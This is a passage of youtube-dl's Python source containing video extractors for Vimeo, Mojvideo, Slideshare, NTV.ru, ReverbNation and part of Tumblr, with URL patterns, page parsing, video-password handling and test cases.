            'url': 'http://vimeo.com/moogaloop.swf?clip_id=2539741',
            'only_matching': True,
        },
        {
            'url': 'https://vimeo.com/109815029',
            'note': 'Video not completely processed, "failed" seed status',
            'only_matching': True,
        },
        {
            'url': 'https://vimeo.com/groups/travelhd/videos/22439234',
            'only_matching': True,
        },
        {
            'url': 'https://vimeo.com/album/2632481/video/79010983',
            'only_matching': True,
        },
        {
            # source file returns 403: Forbidden
            'url': 'https://vimeo.com/7809605',
            'only_matching': True,
        },
        {
            'url': 'https://vimeo.com/160743502/abd0e13fb4',
            'only_matching': True,
        }
    ]

    @staticmethod
    def _extract_vimeo_url(url, webpage):
        # Look for embedded (iframe) Vimeo player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//player\.vimeo\.com/video/.+?)\1', webpage)
        if mobj:
            player_url = unescapeHTML(mobj.group('url'))
            surl = smuggle_url(player_url, {'http_headers': {'Referer': url}})
            return surl
        # Look for embedded (swf embed) Vimeo player
        mobj = re.search(
            r'<embed[^>]+?src="((?:https?:)?//(?:www\.)?vimeo\.com/moogaloop\.swf.+?)"', webpage)
        if mobj:
            return mobj.group(1)
        # Look more for non-standard embedded Vimeo player
        mobj = re.search(
            r'<video[^>]+src=(?P<q1>[\'"])(?P<url>(?:https?:)?//(?:www\.)?vimeo\.com/[0-9]+)(?P=q1)', webpage)
        if mobj:
            return mobj.group('url')

    def _verify_player_video_password(self, url, video_id):
        password = self._downloader.params.get('videopassword')
        if password is None:
            raise ExtractorError('This video is protected by a password, use the --video-password option')
        data = urlencode_postdata({'password': password})
        pass_url = url + '/check-password'
        password_request = sanitized_Request(pass_url, data)
        password_request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        password_request.add_header('Referer', url)
        return self._download_json(
            password_request, video_id,
            'Verifying the password', 'Wrong password')

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        url, data = unsmuggle_url(url, {})
        headers = std_headers.copy()
        if 'http_headers' in data:
            headers.update(data['http_headers'])
        if 'Referer' not in headers:
            headers['Referer'] = url

        # Extract ID from URL
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        orig_url = url
        if mobj.group('pro') or mobj.group('player'):
            url = 'https://player.vimeo.com/video/' + video_id
        elif any(p in url for p in ('play_redirect_hls', 'moogaloop.swf')):
            url = 'https://vimeo.com/' + video_id

        # Retrieve video webpage to extract further information
        request = sanitized_Request(url, headers=headers)
        try:
            webpage = self._download_webpage(request, video_id)
        except ExtractorError as ee:
            if isinstance(ee.cause, compat_HTTPError) and ee.cause.code == 403:
                errmsg = ee.cause.read()
                if b'Because of its privacy settings, this video cannot be played here' in errmsg:
                    raise ExtractorError(
                        'Cannot download embed-only video without embedding '
                        'URL. Please call youtube-dl with the URL of the page '
                        'that embeds this video.',
                        expected=True)
            raise

        # Now we begin extracting as much information as we can from what we
        # retrieved. First we extract the information common to all extractors,
        # and latter we extract those that are Vimeo specific.
        self.report_extraction(video_id)

        vimeo_config = self._search_regex(
            r'vimeo\.config\s*=\s*(?:({.+?})|_extend\([^,]+,\s+({.+?})\));', webpage,
            'vimeo config', default=None)
        if vimeo_config:
            seed_status = self._parse_json(vimeo_config, video_id).get('seed_status', {})
            if seed_status.get('state') == 'failed':
                raise ExtractorError(
                    '%s said: %s' % (self.IE_NAME, seed_status['title']),
                    expected=True)

        # Extract the config JSON
        try:
            try:
                config_url = self._html_search_regex(
                    r' data-config-url="(.+?)"', webpage,
                    'config URL', default=None)
                if not config_url:
                    # Sometimes new react-based page is served instead of old one that require
                    # different config URL extraction approach (see
                    # https://github.com/rg3/youtube-dl/pull/7209)
                    vimeo_clip_page_config = self._search_regex(
                        r'vimeo\.clip_page_config\s*=\s*({.+?});', webpage,
                        'vimeo clip page config')
                    config_url = self._parse_json(
                        vimeo_clip_page_config, video_id)['player']['config_url']
                config_json = self._download_webpage(config_url, video_id)
                config = json.loads(config_json)
            except RegexNotFoundError:
                # For pro videos or player.vimeo.com urls
                # We try to find out to which variable is assigned the config dic
                m_variable_name = re.search('(\w)\.video\.id', webpage)
                if m_variable_name is not None:
                    config_re = r'%s=({[^}].+?});' % re.escape(m_variable_name.group(1))
                else:
                    config_re = [r' = {config:({.+?}),assets:', r'(?:[abc])=({.+?});']
                config = self._search_regex(config_re, webpage, 'info section',
                                            flags=re.DOTALL)
                config = json.loads(config)
        except Exception as e:
            if re.search('The creator of this video has not given you permission to embed it on this domain.', webpage):
                raise ExtractorError('The author has restricted the access to this video, try with the "--referer" option')

            if re.search(r'<form[^>]+?id="pw_form"', webpage) is not None:
                if '_video_password_verified' in data:
                    raise ExtractorError('video password verification failed!')
                self._verify_video_password(url, video_id, webpage)
                return self._real_extract(
                    smuggle_url(url, {'_video_password_verified': 'verified'}))
            else:
                raise ExtractorError('Unable to extract info section',
                                     cause=e)
        else:
            if config.get('view') == 4:
                config = self._verify_player_video_password(url, video_id)

        def is_rented():
            if '>You rented this title.<' in webpage:
                return True
            if config.get('user', {}).get('purchased'):
                return True
            label = try_get(
                config, lambda x: x['video']['vod']['purchase_options'][0]['label_string'], compat_str)
            if label and label.startswith('You rented this'):
                return True
            return False

        if is_rented():
            feature_id = config.get('video', {}).get('vod', {}).get('feature_id')
            if feature_id and not data.get('force_feature_id', False):
                return self.url_result(smuggle_url(
                    'https://player.vimeo.com/player/%s' % feature_id,
                    {'force_feature_id': True}), 'Vimeo')

        # Extract video description

        video_description = self._html_search_regex(
            r'(?s)<div\s+class="[^"]*description[^"]*"[^>]*>(.*?)</div>',
            webpage, 'description', default=None)
        if not video_description:
            video_description = self._html_search_meta(
                'description', webpage, default=None)
        if not video_description and mobj.group('pro'):
            orig_webpage = self._download_webpage(
                orig_url, video_id,
                note='Downloading webpage for description',
                fatal=False)
            if orig_webpage:
                video_description = self._html_search_meta(
                    'description', orig_webpage, default=None)
        if not video_description and not mobj.group('player'):
            self._downloader.report_warning('Cannot find video description')

        # Extract upload date
        video_upload_date = None
        mobj = re.search(r'<time[^>]+datetime="([^"]+)"', webpage)
        if mobj is not None:
            video_upload_date = unified_strdate(mobj.group(1))

        try:
            view_count = int(self._search_regex(r'UserPlays:(\d+)', webpage, 'view count'))
            like_count = int(self._search_regex(r'UserLikes:(\d+)', webpage, 'like count'))
            comment_count = int(self._search_regex(r'UserComments:(\d+)', webpage, 'comment count'))
        except RegexNotFoundError:
            # This info is only available in vimeo.com/{id} urls
            view_count = None
            like_count = None
            comment_count = None

        formats = []
        download_request = sanitized_Request('https://vimeo.com/%s?action=load_download_config' % video_id, headers={
            'X-Requested-With': 'XMLHttpRequest'})
        download_data = self._download_json(download_request, video_id, fatal=False)
        if download_data:
            source_file = download_data.get('source_file')
            if isinstance(source_file, dict):
                download_url = source_file.get('download_url')
                if download_url and not source_file.get('is_cold') and not source_file.get('is_defrosting'):
                    source_name = source_file.get('public_name', 'Original')
                    if self._is_valid_url(download_url, video_id, '%s video' % source_name):
                        ext = source_file.get('extension', determine_ext(download_url)).lower()
                        formats.append({
                            'url': download_url,
                            'ext': ext,
                            'width': int_or_none(source_file.get('width')),
                            'height': int_or_none(source_file.get('height')),
                            'filesize': parse_filesize(source_file.get('size')),
                            'format_id': source_name,
                            'preference': 1,
                        })

        info_dict = self._parse_config(config, video_id)
        formats.extend(info_dict['formats'])
        self._vimeo_sort_formats(formats)
        info_dict.update({
            'id': video_id,
            'formats': formats,
            'upload_date': video_upload_date,
            'description': video_description,
            'webpage_url': url,
            'view_count': view_count,
            'like_count': like_count,
            'comment_count': comment_count,
        })

        return info_dict


class VimeoOndemandIE(VimeoBaseInfoExtractor):
    IE_NAME = 'vimeo:ondemand'
    _VALID_URL = r'https?://(?:www\.)?vimeo\.com/ondemand/(?P<id>[^/?#&]+)'
    _TESTS = [{
        # ondemand video not available via https://vimeo.com/id
        'url': 'https://vimeo.com/ondemand/20704',
        'md5': 'c424deda8c7f73c1dfb3edd7630e2f35',
        'info_dict': {
            'id': '105442900',
            'ext': 'mp4',
            'title': 'המעבדה - במאי יותם פלדמן',
            'uploader': 'גם סרטים',
            'uploader_url': 're:https?://(?:www\.)?vimeo\.com/gumfilms',
            'uploader_id': 'gumfilms',
        },
    }, {
        'url': 'https://vimeo.com/ondemand/nazmaalik',
        'only_matching': True,
    }, {
        'url': 'https://vimeo.com/ondemand/141692381',
        'only_matching': True,
    }, {
        'url': 'https://vimeo.com/ondemand/thelastcolony/150274832',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        return self.url_result(self._og_search_video_url(webpage), VimeoIE.ie_key())


class VimeoChannelIE(VimeoBaseInfoExtractor):
    IE_NAME = 'vimeo:channel'
    _VALID_URL = r'https://vimeo\.com/channels/(?P<id>[^/?#]+)/?(?:$|[?#])'
    _MORE_PAGES_INDICATOR = r'<a.+?rel="next"'
    _TITLE = None
    _TITLE_RE = r'<link rel="alternate"[^>]+?title="(.*?)"'
    _TESTS = [{
        'url': 'https://vimeo.com/channels/tributes',
        'info_dict': {
            'id': 'tributes',
            'title': 'Vimeo Tributes',
        },
        'playlist_mincount': 25,
    }]

    def _page_url(self, base_url, pagenum):
        return '%s/videos/page:%d/' % (base_url, pagenum)

    def _extract_list_title(self, webpage):
        return self._TITLE or self._html_search_regex(self._TITLE_RE, webpage, 'list title')

    def _login_list_password(self, page_url, list_id, webpage):
        login_form = self._search_regex(
            r'(?s)<form[^>]+?id="pw_form"(.*?)</form>',
            webpage, 'login form', default=None)
        if not login_form:
            return webpage

        password = self._downloader.params.get('videopassword')
        if password is None:
            raise ExtractorError('This album is protected by a password, use the --video-password option', expected=True)
        fields = self._hidden_inputs(login_form)
        token, vuid = self._extract_xsrft_and_vuid(webpage)
        fields['token'] = token
        fields['password'] = password
        post = urlencode_postdata(fields)
        password_path = self._search_regex(
            r'action="([^"]+)"', login_form, 'password URL')
        password_url = compat_urlparse.urljoin(page_url, password_path)
        password_request = sanitized_Request(password_url, post)
        password_request.add_header('Content-type', 'application/x-www-form-urlencoded')
        self._set_vimeo_cookie('vuid', vuid)
        self._set_vimeo_cookie('xsrft', token)

        return self._download_webpage(
            password_request, list_id,
            'Verifying the password', 'Wrong password')

    def _title_and_entries(self, list_id, base_url):
        for pagenum in itertools.count(1):
            page_url = self._page_url(base_url, pagenum)
            webpage = self._download_webpage(
                page_url, list_id,
                'Downloading page %s' % pagenum)

            if pagenum == 1:
                webpage = self._login_list_password(page_url, list_id, webpage)
                yield self._extract_list_title(webpage)

            # Try extracting href first since not all videos are available via
            # short https://vimeo.com/id URL (e.g. https://vimeo.com/channels/tributes/6213729)
            clips = re.findall(
                r'id="clip_(\d+)"[^>]*>\s*<a[^>]+href="(/(?:[^/]+/)*\1)', webpage)
            if clips:
                for video_id, video_url in clips:
                    yield self.url_result(
                        compat_urlparse.urljoin(base_url, video_url),
                        VimeoIE.ie_key(), video_id=video_id)
            # More relaxed fallback
            else:
                for video_id in re.findall(r'id=["\']clip_(\d+)', webpage):
                    yield self.url_result(
                        'https://vimeo.com/%s' % video_id,
                        VimeoIE.ie_key(), video_id=video_id)

            if re.search(self._MORE_PAGES_INDICATOR, webpage, re.DOTALL) is None:
                break

    def _extract_videos(self, list_id, base_url):
        title_and_entries = self._title_and_entries(list_id, base_url)
        list_title = next(title_and_entries)
        return self.playlist_result(title_and_entries, list_id, list_title)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        channel_id = mobj.group('id')
        return self._extract_videos(channel_id, 'https://vimeo.com/channels/%s' % channel_id)


class VimeoUserIE(VimeoChannelIE):
    IE_NAME = 'vimeo:user'
    _VALID_URL = r'https://vimeo\.com/(?!(?:[0-9]+|watchlater)(?:$|[?#/]))(?P<name>[^/]+)(?:/videos|[#?]|$)'
    _TITLE_RE = r'<a[^>]+?class="user">([^<>]+?)</a>'
    _TESTS = [{
        'url': 'https://vimeo.com/nkistudio/videos',
        'info_dict': {
            'title': 'Nki',
            'id': 'nkistudio',
        },
        'playlist_mincount': 66,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        name = mobj.group('name')
        return self._extract_videos(name, 'https://vimeo.com/%s' % name)


class VimeoAlbumIE(VimeoChannelIE):
    IE_NAME = 'vimeo:album'
    _VALID_URL = r'https://vimeo\.com/album/(?P<id>\d+)(?:$|[?#]|/(?!video))'
    _TITLE_RE = r'<header id="page_header">\n\s*<h1>(.*?)</h1>'
    _TESTS = [{
        'url': 'https://vimeo.com/album/2632481',
        'info_dict': {
            'id': '2632481',
            'title': 'Staff Favorites: November 2013',
        },
        'playlist_mincount': 13,
    }, {
        'note': 'Password-protected album',
        'url': 'https://vimeo.com/album/3253534',
        'info_dict': {
            'title': 'test',
            'id': '3253534',
        },
        'playlist_count': 1,
        'params': {
            'videopassword': 'youtube-dl',
        }
    }, {
        'url': 'https://vimeo.com/album/2632481/sort:plays/format:thumbnail',
        'only_matching': True,
    }, {
        # TODO: respect page number
        'url': 'https://vimeo.com/album/2632481/page:2/sort:plays/format:thumbnail',
        'only_matching': True,
    }]

    def _page_url(self, base_url, pagenum):
        return '%s/page:%d/' % (base_url, pagenum)

    def _real_extract(self, url):
        album_id = self._match_id(url)
        return self._extract_videos(album_id, 'https://vimeo.com/album/%s' % album_id)


class VimeoGroupsIE(VimeoAlbumIE):
    IE_NAME = 'vimeo:group'
    _VALID_URL = r'https://vimeo\.com/groups/(?P<name>[^/]+)(?:/(?!videos?/\d+)|$)'
    _TESTS = [{
        'url': 'https://vimeo.com/groups/rolexawards',
        'info_dict': {
            'id': 'rolexawards',
            'title': 'Rolex Awards for Enterprise',
        },
        'playlist_mincount': 73,
    }]

    def _extract_list_title(self, webpage):
        return self._og_search_title(webpage)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        name = mobj.group('name')
        return self._extract_videos(name, 'https://vimeo.com/groups/%s' % name)


class VimeoReviewIE(VimeoBaseInfoExtractor):
    IE_NAME = 'vimeo:review'
    IE_DESC = 'Review pages on vimeo'
    _VALID_URL = r'https://vimeo\.com/[^/]+/review/(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'https://vimeo.com/user21297594/review/75524534/3c257a1b5d',
        'md5': 'c507a72f780cacc12b2248bb4006d253',
        'info_dict': {
            'id': '75524534',
            'ext': 'mp4',
            'title': "DICK HARDWICK 'Comedian'",
            'uploader': 'Richard Hardwick',
            'uploader_id': 'user21297594',
        }
    }, {
        'note': 'video player needs Referer',
        'url': 'https://vimeo.com/user22258446/review/91613211/13f927e053',
        'md5': '6295fdab8f4bf6a002d058b2c6dce276',
        'info_dict': {
            'id': '91613211',
            'ext': 'mp4',
            'title': 're:(?i)^Death by dogma versus assembling agile . Sander Hoogendoorn',
            'uploader': 'DevWeek Events',
            'duration': 2773,
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader_id': 'user22258446',
        }
    }, {
        'note': 'Password protected',
        'url': 'https://vimeo.com/user37284429/review/138823582/c4d865efde',
        'info_dict': {
            'id': '138823582',
            'ext': 'mp4',
            'title': 'EFFICIENT PICKUP MASTERCLASS MODULE 1',
            'uploader': 'TMB',
            'uploader_id': 'user37284429',
        },
        'params': {
            'videopassword': 'holygrail',
        },
    }]

    def _real_initialize(self):
        self._login()

    def _get_config_url(self, webpage_url, video_id, video_password_verified=False):
        webpage = self._download_webpage(webpage_url, video_id)
        config_url = self._html_search_regex(
            r'data-config-url="([^"]+)"', webpage, 'config URL',
            default=NO_DEFAULT if video_password_verified else None)
        if config_url is None:
            self._verify_video_password(webpage_url, video_id, webpage)
            config_url = self._get_config_url(
                webpage_url, video_id, video_password_verified=True)
        return config_url

    def _real_extract(self, url):
        video_id = self._match_id(url)
        config_url = self._get_config_url(url, video_id)
        config = self._download_json(config_url, video_id)
        info_dict = self._parse_config(config, video_id)
        self._vimeo_sort_formats(info_dict['formats'])
        info_dict['id'] = video_id
        return info_dict


class VimeoWatchLaterIE(VimeoChannelIE):
    IE_NAME = 'vimeo:watchlater'
    IE_DESC = 'Vimeo watch later list, "vimeowatchlater" keyword (requires authentication)'
    _VALID_URL = r'https://vimeo\.com/(?:home/)?watchlater|:vimeowatchlater'
    _TITLE = 'Watch Later'
    _LOGIN_REQUIRED = True
    _TESTS = [{
        'url': 'https://vimeo.com/watchlater',
        'only_matching': True,
    }]

    def _real_initialize(self):
        self._login()

    def _page_url(self, base_url, pagenum):
        url = '%s/page:%d/' % (base_url, pagenum)
        request = sanitized_Request(url)
        # Set the header to get a partial html page with the ids,
        # the normal page doesn't contain them.
        request.add_header('X-Requested-With', 'XMLHttpRequest')
        return request

    def _real_extract(self, url):
        return self._extract_videos('watchlater', 'https://vimeo.com/watchlater')


class VimeoLikesIE(InfoExtractor):
    _VALID_URL = r'https://(?:www\.)?vimeo\.com/user(?P<id>[0-9]+)/likes/?(?:$|[?#]|sort:)'
    IE_NAME = 'vimeo:likes'
    IE_DESC = 'Vimeo user likes'
    _TEST = {
        'url': 'https://vimeo.com/user755559/likes/',
        'playlist_mincount': 293,
        'info_dict': {
            'id': 'user755559_likes',
            'description': 'See all the videos urza likes',
            'title': 'Videos urza likes',
        },
    }

    def _real_extract(self, url):
        user_id = self._match_id(url)
        webpage = self._download_webpage(url, user_id)
        page_count = self._int(
            self._search_regex(
                r'''(?x)<li><a\s+href="[^"]+"\s+data-page="([0-9]+)">
                    .*?</a></li>\s*<li\s+class="pagination_next">
                ''', webpage, 'page count'),
            'page count', fatal=True)
        PAGE_SIZE = 12
        title = self._html_search_regex(
            r'(?s)<h1>(.+?)</h1>', webpage, 'title', fatal=False)
        description = self._html_search_meta('description', webpage)

        def _get_page(idx):
            page_url = 'https://vimeo.com/user%s/likes/page:%d/sort:date' % (
                user_id, idx + 1)
            webpage = self._download_webpage(
                page_url, user_id,
                note='Downloading page %d/%d' % (idx + 1, page_count))
            video_list = self._search_regex(
                r'(?s)<ol class="js-browse_list[^"]+"[^>]*>(.*?)</ol>',
                webpage, 'video content')
            paths = re.findall(
                r'<li[^>]*>\s*<a\s+href="([^"]+)"', video_list)
            for path in paths:
                yield {
                    '_type': 'url',
                    'url': compat_urlparse.urljoin(page_url, path),
                }

        pl = InAdvancePagedList(_get_page, page_count, PAGE_SIZE)

        return {
            '_type': 'playlist',
            'id': 'user%s_likes' % user_id,
            'title': title,
            'description': description,
            'entries': pl,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_duration,
)


class MojvideoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?mojvideo\.com/video-(?P<display_id>[^/]+)/(?P<id>[a-f0-9]+)'
    _TEST = {
        'url': 'http://www.mojvideo.com/video-v-avtu-pred-mano-rdecelaska-alfi-nipic/3d1ed4497707730b2906',
        'md5': 'f7fd662cc8ce2be107b0d4f2c0483ae7',
        'info_dict': {
            'id': '3d1ed4497707730b2906',
            'display_id': 'v-avtu-pred-mano-rdecelaska-alfi-nipic',
            'ext': 'mp4',
            'title': 'V avtu pred mano rdečelaska - Alfi Nipič',
            'thumbnail': 're:^http://.*\.jpg$',
            'duration': 242,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        # XML is malformed
        playerapi = self._download_webpage(
            'http://www.mojvideo.com/playerapi.php?v=%s&t=1' % video_id, display_id)

        if '<error>true</error>' in playerapi:
            error_desc = self._html_search_regex(
                r'<errordesc>([^<]*)</errordesc>', playerapi, 'error description', fatal=False)
            raise ExtractorError('%s said: %s' % (self.IE_NAME, error_desc), expected=True)

        title = self._html_search_regex(
            r'<title>([^<]+)</title>', playerapi, 'title')
        video_url = self._html_search_regex(
            r'<file>([^<]+)</file>', playerapi, 'video URL')
        thumbnail = self._html_search_regex(
            r'<preview>([^<]+)</preview>', playerapi, 'thumbnail', fatal=False)
        duration = parse_duration(self._html_search_regex(
            r'<duration>([^<]+)</duration>', playerapi, 'duration', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
        }






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    get_element_by_id,
)


class SlideshareIE(InfoExtractor):
    _VALID_URL = r'https?://www\.slideshare\.net/[^/]+?/(?P<title>.+?)($|\?)'

    _TEST = {
        'url': 'http://www.slideshare.net/Dataversity/keynote-presentation-managing-scale-and-complexity',
        'info_dict': {
            'id': '25665706',
            'ext': 'mp4',
            'title': 'Managing Scale and Complexity',
            'description': 'This was a keynote presentation at the NoSQL Now! 2013 Conference & Expo (http://www.nosqlnow.com). This presentation was given by Adrian Cockcroft from Netflix.',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        page_title = mobj.group('title')
        webpage = self._download_webpage(url, page_title)
        slideshare_obj = self._search_regex(
            r'\$\.extend\(slideshare_object,\s*(\{.*?\})\);',
            webpage, 'slideshare object')
        info = json.loads(slideshare_obj)
        if info['slideshow']['type'] != 'video':
            raise ExtractorError('Webpage type is "%s": only video extraction is supported for Slideshare' % info['slideshow']['type'], expected=True)

        doc = info['doc']
        bucket = info['jsplayer']['video_bucket']
        ext = info['jsplayer']['video_extension']
        video_url = compat_urlparse.urljoin(bucket, doc + '-SD.' + ext)
        description = get_element_by_id('slideshow-description-paragraph', webpage) or self._html_search_regex(
            r'(?s)<p[^>]+itemprop="description"[^>]*>(.+?)</p>', webpage,
            'description', fatal=False)

        return {
            '_type': 'video',
            'id': info['slideshow']['id'],
            'title': info['slideshow']['title'],
            'ext': ext,
            'url': video_url,
            'thumbnail': info['slideshow']['pin_image_url'],
            'description': description.strip() if description else None,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    clean_html,
    xpath_text,
    int_or_none,
)


class NTVRuIE(InfoExtractor):
    IE_NAME = 'ntv.ru'
    _VALID_URL = r'https?://(?:www\.)?ntv\.ru/(?:[^/]+/)*(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://www.ntv.ru/novosti/863142/',
        'md5': 'ba7ea172a91cb83eb734cad18c10e723',
        'info_dict': {
            'id': '746000',
            'ext': 'mp4',
            'title': 'Командующий Черноморским флотом провел переговоры в штабе ВМС Украины',
            'description': 'Командующий Черноморским флотом провел переговоры в штабе ВМС Украины',
            'thumbnail': 're:^http://.*\.jpg',
            'duration': 136,
        },
    }, {
        'url': 'http://www.ntv.ru/video/novosti/750370/',
        'md5': 'adecff79691b4d71e25220a191477124',
        'info_dict': {
            'id': '750370',
            'ext': 'mp4',
            'title': 'Родные пассажиров пропавшего Boeing не верят в трагический исход',
            'description': 'Родные пассажиров пропавшего Boeing не верят в трагический исход',
            'thumbnail': 're:^http://.*\.jpg',
            'duration': 172,
        },
    }, {
        'url': 'http://www.ntv.ru/peredacha/segodnya/m23700/o232416',
        'md5': '82dbd49b38e3af1d00df16acbeab260c',
        'info_dict': {
            'id': '747480',
            'ext': 'mp4',
            'title': '«Сегодня». 21 марта 2014 года. 16:00',
            'description': '«Сегодня». 21 марта 2014 года. 16:00',
            'thumbnail': 're:^http://.*\.jpg',
            'duration': 1496,
        },
    }, {
        'url': 'http://www.ntv.ru/kino/Koma_film',
        'md5': 'f825770930937aa7e5aca0dc0d29319a',
        'info_dict': {
            'id': '1007609',
            'ext': 'mp4',
            'title': 'Остросюжетный фильм «Кома»',
            'description': 'Остросюжетный фильм «Кома»',
            'thumbnail': 're:^http://.*\.jpg',
            'duration': 5592,
        },
    }, {
        'url': 'http://www.ntv.ru/serial/Delo_vrachey/m31760/o233916/',
        'md5': '9320cd0e23f3ea59c330dc744e06ff3b',
        'info_dict': {
            'id': '751482',
            'ext': 'mp4',
            'title': '«Дело врачей»: «Деревце жизни»',
            'description': '«Дело врачей»: «Деревце жизни»',
            'thumbnail': 're:^http://.*\.jpg',
            'duration': 2590,
        },
    }]

    _VIDEO_ID_REGEXES = [
        r'<meta property="og:url" content="http://www\.ntv\.ru/video/(\d+)',
        r'<video embed=[^>]+><id>(\d+)</id>',
        r'<video restriction[^>]+><key>(\d+)</key>',
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_url = self._og_search_property(
            ('video', 'video:iframe'), webpage, default=None)
        if video_url:
            video_id = self._search_regex(
                r'https?://(?:www\.)?ntv\.ru/video/(?:embed/)?(\d+)',
                video_url, 'video id', default=None)

        if not video_id:
            video_id = self._html_search_regex(
                self._VIDEO_ID_REGEXES, webpage, 'video id')

        player = self._download_xml(
            'http://www.ntv.ru/vi%s/' % video_id,
            video_id, 'Downloading video XML')

        title = clean_html(xpath_text(player, './data/title', 'title', fatal=True))
        description = clean_html(xpath_text(player, './data/description', 'description'))

        video = player.find('./data/video')
        video_id = xpath_text(video, './id', 'video id')
        thumbnail = xpath_text(video, './splash', 'thumbnail')
        duration = int_or_none(xpath_text(video, './totaltime', 'duration'))
        view_count = int_or_none(xpath_text(video, './views', 'view count'))

        token = self._download_webpage(
            'http://stat.ntv.ru/services/access/token',
            video_id, 'Downloading access token')

        formats = []
        for format_id in ['', 'hi', 'webm']:
            file_ = video.find('./%sfile' % format_id)
            if file_ is None:
                continue
            size = video.find('./%ssize' % format_id)
            formats.append({
                'url': 'http://media2.ntv.ru/vod/%s&tok=%s' % (file_.text, token),
                'filesize': int_or_none(size.text if size is not None else None),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import str_or_none


class ReverbNationIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:www\.)?reverbnation\.com/.*?/song/(?P<id>\d+).*?$'
    _TESTS = [{
        'url': 'http://www.reverbnation.com/alkilados/song/16965047-mona-lisa',
        'md5': '3da12ebca28c67c111a7f8b262d3f7a7',
        'info_dict': {
            'id': '16965047',
            'ext': 'mp3',
            'title': 'MONA LISA',
            'uploader': 'ALKILADOS',
            'uploader_id': '216429',
            'thumbnail': 're:^https://gp1\.wac\.edgecastcdn\.net/.*?\.jpg$'
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        song_id = mobj.group('id')

        api_res = self._download_json(
            'https://api.reverbnation.com/song/%s' % song_id,
            song_id,
            note='Downloading information of song %s' % song_id
        )

        return {
            'id': song_id,
            'title': api_res.get('name'),
            'url': api_res.get('url'),
            'uploader': api_res.get('artist', {}).get('name'),
            'uploader_id': str_or_none(api_res.get('artist', {}).get('id')),
            'thumbnail': self._proto_relative_url(
                api_res.get('image', api_res.get('thumbnail'))),
            'ext': 'mp3',
            'vcodec': 'none',
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class TumblrIE(InfoExtractor):
    _VALID_URL = r'https?://(?P<blog_name>[^/?#&]+)\.tumblr\.com/(?:post|video)/(?P<id>[0-9]+)(?:$|[/?#])'
    _TESTS = [{
        'url': 'http://tatianamaslanydaily.tumblr.com/post/54196191430/orphan-black-dvd-extra-behind-the-scenes',
        'md5': '479bb068e5b16462f5176a6828829767',
        'info_dict': {
            'id': '54196191430',
            'ext': 'mp4',
            'title': 'tatiana maslany news, Orphan Black || DVD extra - behind the scenes ↳...',
            'description': 'md5:37db8211e40b50c7c44e95da14f630b7',
            'thumbnail': 're:http://.*\.jpg',
        }
    }, {
        'url': 'http://5sostrum.tumblr.com/post/90208453769/yall-forgetting-the-greatest-keek-of-them-all',
        'md5': 'bf348ef8c0ef84fbf1cbd6fa6e000359',
        'info_dict': {
            'id': '90208453769',
            'ext': 'mp4',
            'title': '5SOS STRUM ;]',
            'description': 'md5:dba62ac8639482759c8eb10ce474586a',
            'thumbnail': 're:http://.*\.jpg',
        }
    }, {
        'url': 'http://hdvideotest.tumblr.com/post/130323439814/test-description-for-my-hd-video',
        'md5': '7ae503065ad150122dc3089f8cf1546c',
        'info_dict': {
            'id': '130323439814',
            'ext': 'mp4',
            'title': 'HD Video Testing \u2014 Test description for my HD video',
            'description': 'md5:97cc3ab5fcd27ee4af6356701541319c',
            'thumbnail': 're:http://.*\.jpg',
        },
        'params': {
            'format': 'hd',
        },
    }, {
        'url': 'http://naked-yogi.tumblr.com/post/118312946248/naked-smoking-stretching',
        'md5': 'de07e5211d60d4f3a2c3df757ea9f6ab',
        'info_dict': {
            'id': 'Wmur',
            'ext': 'mp4',
            'title': 'naked smoking & stretching',
            'upload_date': '20150506',
            'timestamp': 1430931613,
            'age_limit': 18,
            'uploader_id': '1638622',
            'uploader': 'naked-yogi',
        },
        'add_ie': ['Vidme'],
    }, {
        'url': 'http://camdamage.tumblr.com/post/98846056295/',
        'md5': 'a9e0c8371ea1ca306d6554e3fecf50b6',
        'info_dict': {
            'id': '105463834',
            'ext': 'mp4',
            'title': 'Cam Damage-HD 720p',
            'uploader': 'John Moyer',
            'uploader_id': 'user32021558',
        },
        'add_ie': ['Vimeo'],
    }, {
        'url': 'http://sutiblr.tumblr.com/post/139638707273',
        'md5': '2dd184b3669e049ba40563a7d423f95c',
        'info_dict': {
            'id': 'ir7qBEIKqvq',
            'ext': 'mp4',
            'title': 'Vine by sutiblr',
            'alt_title': 'Vine by sutiblr',
            'uploader': 'sutiblr',
            'uploader_id': '1198993975374495744',
            'upload_date': '20160220',
            'like_count': int,
            'comment_count': int,
            'repost_count': int,
        },
        'add_ie': ['Vine'],
    }, {
